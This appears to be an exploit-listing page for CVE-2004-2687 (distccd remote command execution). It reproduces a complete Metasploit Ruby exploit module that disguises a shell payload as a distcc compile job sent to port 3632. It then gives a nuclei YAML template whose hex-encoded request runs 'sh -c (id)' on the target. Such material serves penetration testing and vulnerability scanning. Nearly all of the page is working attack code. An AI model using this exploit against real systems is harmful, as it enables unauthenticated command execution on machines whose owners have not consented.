CVE-2004-2687

ruby 9915.rb

Code rb

##
# $Id: distcc_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DistCC Daemon Command Execution',
			'Description'    => %q{
				This module uses a documented security weakness to execute
				arbitrary commands on any system running distccd.

			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '2004-2687'],
					[ 'OSVDB', '13378' ],
					[ 'URL', 'http://distcc.samba.org/security.html'],

				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 01 2002'
			))

			register_options(
				[
					Opt::RPORT(3632)
				], self.class)
	end

	def exploit
		connect

		distcmd = dist_cmd("sh", "-c", payload.encoded);
		sock.put(distcmd)

		dtag = rand_text_alphanumeric(10)
		sock.put("DOTI0000000A#{dtag}\n")

		res = sock.get_once(24, 5)

		if !(res and res.length == 24)
			print_status("The remote distccd did not reply to our request")
			disconnect
			return
		end

		# Check STDERR
		res = sock.get_once(4, 5)
		res = sock.get_once(8, 5)
		len = [res].pack("H*").unpack("N")[0]

		return if not len
		if (len > 0)
			res = sock.get_once(len, 5)
			res.split("\n").each do |line|
				print_status("stderr: #{line}")
			end
		end

		# Check STDOUT
		res = sock.get_once(4, 5)
		res = sock.get_once(8, 5)
		len = [res].pack("H*").unpack("N")[0]

		return if not len
		if (len > 0)
			res = sock.get_once(len, 5)
			res.split("\n").each do |line|
				print_status("stdout: #{line}")
			end
		end

		handler
		disconnect
	end


	# Generate a distccd command
	def dist_cmd(*args)

		# Convince distccd that this is a compile
		args.concat(%w{# -c main.c -o main.o})

		# Set distcc 'magic fairy dust' and argument count
		res = "DIST00000001" + sprintf("ARGC%.8x", args.length)

		# Set the command arguments
		args.each do |arg|
			res << sprintf("ARGV%.8x%s", arg.length, arg)
		end

		return res
	end

end

nuclei -id CVE-2004-2687 -u https://your-target

Template yaml

id: CVE-2004-2687

info:
  name: Distccd v1 - Remote Code Execution
  author: pussycat0x
  severity: high
  description: |
    distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.
  impact: |
    Unauthenticated attackers can execute arbitrary commands with elevated privileges by sending malicious compilation jobs to distcc servers that lack access restrictions.
  remediation: |
    Configure distcc to restrict server port access to authorized clients only, or upgrade to a patched version that includes proper authorization checks.
  reference:
    - http://distcc.samba.org/security.html
    - http://lists.samba.org/archive/distcc/2004q3/002550.html
    - http://lists.samba.org/archive/distcc/2004q3/002562.html
    - https://github.com/crypticdante/distccd_rce_CVE-2004-2687
    - https://github.com/gwyomarch/Lame-HTB-Writeup-FR
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
    cvss-score: 9.3
    cve-id: CVE-2004-2687
    cwe-id: CWE-16
    epss-score: 0.88195
    epss-percentile: 0.99755
    cpe: cpe:2.3:a:apple:xcode:1.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2004,network,rce,distccd,vuln

tcp:
  - inputs:
      - data: 444953543030303030303031
        type: hex
      - data: 41524743303030303030303841524756303030303030303273684152475630303030303030322d634152475630303030303030637368202d6320272869642927415247563030303030303031234152475630303030303030322d634152475630303030303030366d61696e2e634152475630303030303030322d6f4152475630303030303030366d61696e2e6f444f5449303030303030303141
        type: hex
    host:
      - "{{Hostname}}"
    port: 3632

    matchers:
      - type: regex
        part: raw
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 4a0a004730450220610387515660e4c126831c8302dd5e3578939cffb632e1567fa6d333e3de22cd022100d659a4d0e3d8fecbbd70196aa21adefeeb1130aaee830c6bfe9fd49b7507ae15:922c64590222798bb761d5b6d8e72950